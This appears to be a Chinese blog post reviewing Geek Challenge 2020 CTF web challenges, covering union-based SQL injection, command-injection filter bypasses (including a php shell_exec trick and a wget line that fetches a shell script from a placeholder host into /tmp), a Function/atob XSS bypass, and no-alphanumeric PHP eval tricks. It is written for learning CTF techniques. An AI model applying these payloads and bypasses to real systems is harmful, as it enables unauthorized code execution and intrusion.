極客大挑戰2020虛空覆盤(沒作的和有不一樣解的)

極客大挑戰2020虛空覆盤(沒作的和有不一樣解的)

​ 今天極客大挑戰的官方WP出了,想着把一些沒作過的題目復現一下,還有一些沒見過的知識順便學一下,不過環境關掉了,55555555,只能虛空復現,找找知識點,以後有在BUUCTF上了再補上吧。javascript

​ 比賽完的WP:三葉草 極客大挑戰2020 部分題目Writeupphp

​ 官方WP地址:極客大挑戰2020 官方Write-up (qq.com)html

帶惡人六撞

​ 這題居然直接用聯合查詢就能夠出來,emmmm當時我是腦抽仍是怎麼了,怎麼就寫不出來,好像是本身用order by沒出來,而後直接用union select也沒試出來,當時直接用3列的,看了這裏用四列的,逃。聯合查詢就是正常的方式就能夠出來了,看WP沒有特殊的過濾。前端

知X堂的php教程

​ 本身當時用的是預期解出來的,不過也不咋算預期,都是用了命令執行,當時我用的是`find / -name flag`,經過反引號執行命令而後直接找flag文件帶出來,不過須要考慮到這裏的flag文件名,此次知識碰巧沒改文件名,因此能夠帶出來,可是若是下次改了就很差說了,因爲這裏過濾了"|"管道符,不能用ls / | base64,三葉草師傅的方法是php -r "echo base64_encode(shell_exec('ls /'));",很好的避開了管道符,而後經過php的base64帶出根目錄下的內容。java

​ 第二種方法:因爲沒有禁用/tmp目錄,能夠在/tmp目錄下寫sh文件而後執行,又是漲知識,這還真沒想到,膜。web

這裏並無說該用什麼方法,考慮到"<"和">"被過濾了,而後我就不會寫入的方式了
不過能夠用wget命令
wget --output-document /tmp/a.sh ip/1.txt
1.txt寫本身想要的sh文件
因爲環境關了,因此這裏不知道這個方法是否是可行

​ 還有一種非預期的解法,由於出題人配置文件沒有寫好,致使/proc/self/mounts泄露flag路徑shell

告白網站

​ 當時是經過jsFUCK作的,還有另一種方式是Function自定義函數加上atob解密base64。數組

btoa("alert(1)")
"YWxlcnQoMSk="

atob("YWxlcnQoMSk=")
"alert(1)"

atob(YWxlcnQoMSk=)
執行失敗,因爲單雙引號都被過去了,這裏使用反引號執行命令

atob`YWxlcnQoMSk=`
"alert(1)"
可是建立完以後是字符串,咱們須要它執行起來,javascript經過${}能夠去到對應的值
參考:https://blog.csdn.net/blog_szhao/article/details/51792868
https://blog.csdn.net/lgh1117/article/details/51278406

Function`a${atob`YWxlcnQoMSk=`}`
ƒ anonymous(a,
) {
alert(1)
}
這裏主要利用的是fuction自定義函數,不過不知道爲啥參數能夠不用隔開的,這個有點厲害
參考:https://javascript.info/new-function

Function`a${atob`YWxlcnQoMSk=`}```
最後的``反引號能夠作自執行

​ 感受這裏本身對前端代碼的理解還不是特別清楚,若是有大佬懂的話,還望評論說說,嗚嗚嗚。session

RCEME

​ 測試了一下存在源碼泄露,存在.index.php.swp文件,先放一下源碼:函數

/**********************************
 *
 *      author : Longlone
 *       type  : Backup
 *
 **********************************/
<?php
error_reporting(0);
session_start();
if(!isset($_SESSION['code'])){
        $_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
}

if(isset($_POST['cmd']) and isset($_POST['code'])){

        if(substr(md5($_POST['code']),0,5) !== $_SESSION['code']){
                die('<script>alert(\'Captcha error~\');history.back()</script>');
        }
        $_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
        $code = $_POST['cmd'];
        if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
                die('<script>alert(\'Longlone not like you~\');history.back()</script>');
        }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
                @eval($code);
                die();
        }
}
?>

​ 兩個判斷:一、無字母數字and一些特殊字符的繞過;二、無參數的RCE。這題能夠說當時想的最久可是仍是沒寫出的了,當時的想法來源於P神的一篇文章:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html,**(%8F%97%8F%96%91%99%90)();**寫着這樣子繞過,能繞過第一層if,可是第二層if就不行了,看到題目有提示:注意括號(我記得應該是這樣的,錯了別打)因而測試了"[]"和"{}"的各類各樣,無果!果真菜的就是我。WP歸納一句[(異或)][!%FF]的形式組成字符串,而後無參數RCE。M3師傅跟我說這裏其實跟數組差很少,用法以下:

php -r "echo [1,2][0];"
返回1
把他當作一個數組,而後取下標爲0的內容,因爲這裏不能用(),因此改爲了[][0],不過0不過濾了,改爲!%FF,%FF爲True,加了感嘆號變成了False

測試
php -r "echo [1,2][False];"
返回1

今天想到這裏吧,剩下的過幾天繼續覆盤

本文做者:erR0Ratao

本文連接:https://www.cnblogs.com/erR0Ratao/p/14077015.html

相關文章
相關標籤/搜索